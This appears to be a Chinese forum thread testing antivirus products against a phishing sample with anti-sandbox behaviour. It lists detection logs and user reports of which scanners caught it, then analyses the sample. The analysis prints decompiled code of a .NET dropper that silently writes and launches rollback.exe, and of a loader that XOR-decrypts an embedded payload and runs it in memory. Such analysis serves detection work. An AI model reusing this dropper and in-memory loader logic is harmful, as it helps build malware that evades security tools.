钓鱼样本 反沙箱

384也7492374

1

djxjzkz

事件: 检测到恶意对象
用户: DESKTOP-0D0ONTR\1
用户类型: 发起者
应用程序名称: explorer.exe
应用程序路径: C:\Windows
组件: 文件反病毒
结果描述: 检测到
类型: 木马
名称: HEUR:Trojan.Win32.Generic
精确度: 不确切
威胁级别: 高
对象类型: 文件
对象名称: data0003.res
对象路径: C:\Users\1\Desktop\UpdaterSetup.exe//
对象的 MD5: 8F203071E024FC33C7CB2CB6C3CD6586
原因: 专家分析
数据库发布日期: 今天，2026/7/28 下午4:20:00

fdsax

emsi双击

anxiety520

Bitdefender
ATD杀 SuspiciousBehavior.760D137E7B35EF12

xjwtzq

奇安信杀

一只小白泽

avast 扫描miss

心醉咖啡

360

GDHJDSYDH

红伞扫描miss，沙盒运行冰盾拦截联网，程序自退

c199529

腾讯电脑管家18

右键不报毒

DisaPDB

UpdaterSetup.exe本体为.NET程序，在函数Form1处发现：

1. public void ReleaseFileToTemp()
   
2. {
   
3.     string text = Path.Combine(Path.GetTempPath(), "ChromeSetup");
   
4.     Directory.CreateDirectory(text);
   
5.     new ValueTuple<byte[], string>(Resources.rollback, "rollback.exe")
   
6. %TEMP%\ChromeSetup\rollback.exe
   
7.     File.WriteAllBytes(text2, item);
   
8.     ProcessStartInfo processStartInfo = new ProcessStartInfo
   
9.     {
   
10.         FileName = text + "\\rollback.exe",
    
11.         WorkingDirectory = text,
    
12.         UseShellExecute = true,
    
13.         CreateNoWindow = true
    
14.     };
    
15.     Process.Start(processStartInfo);
    
16. }

复制代码

释放的rollback.exe在%TEMP%/ChromeSetup文件夹下，为cpp编写：


拖入IDA，在sub_1400016E0处发现：

1. __int64 sub_1400016E0()
   
2. {
   
3.   _BYTE *v0; // rax
   
4.   _QWORD *v1; // rax
   
5.   void *v2; // rbx
   
6.   HANDLE CurrentProcess; // rax
   
7.   HANDLE Thread; // rcx
   
8.   DWORD flOldProtect[11]; // [rsp+3Ch] [rbp-2Ch] BYREF
   
9. 
   
10.   LODWORD(qword_140004020[0]) ^= 0xADADADAD;
    
11.   v0 = &algn_14000458C[-1384];
    
12.   do
    
13.   {
    
14.     *(_DWORD *)v0 ^= 0xADADADAD;
    
15.     *((_DWORD *)v0 + 1) ^= 0xADADADAD;
    
16.     v0 += 8;
    
17.   }
    
18.   while ( v0 != algn_14000458C );
    
19.   v1 = VirtualAlloc(nullptr, 0x56Cu, 0x3000u, 4u);
    
20.   v2 = v1;
    
21.   if ( !v1 )
    
22.     goto LABEL_6;
    
23.   *v1 = qword_140004020[0];
    
24.   *(_QWORD *)((char *)v1 + 1380) = qword_140004584;
    
25.   qmemcpy(
    
26.     (void *)((unsigned __int64)(v1 + 1) & 0xFFFFFFFFFFFFFFF8uLL),
    
27.     (const void *)((char *)qword_140004020 - ((char *)v1 - ((unsigned __int64)(v1 + 1) & 0xFFFFFFFFFFFFFFF8uLL))),
    
28.     8LL * (((unsigned int)v1 - (((_DWORD)v1 + 8) & 0xFFFFFFF8) + 1388) >> 3));
    
29.   memset(qword_140004020, 0, 0x568u);
    
30.   HIDWORD(qword_140004584) = 0;
    
31.   VirtualProtect(v1, 0x56Cu, 0x20u, flOldProtect);
    
32.   CurrentProcess = GetCurrentProcess();
    
33.   FlushInstructionCache(CurrentProcess, v2, 0x56Cu);
    
34.   Thread = CreateThread(nullptr, 0, (LPTHREAD_START_ROUTINE)v2, nullptr, 0, nullptr);
    
35.   if ( !Thread )
    
36. LABEL_6:
    
37.     ExitProcess(1u);
    
38.   WaitForSingleObject(Thread, 0xFFFFFFFF);
    
39.   return 0;
    
40. }

复制代码

解密嵌入在 .rdata 段中的加密 payload（XOR 密钥 0xADADADAD）复制到可执行内存 VirtualAlloc 分配新内存，创建线程直接执行。将内存权限设为可执行，用 CreateThread 运行。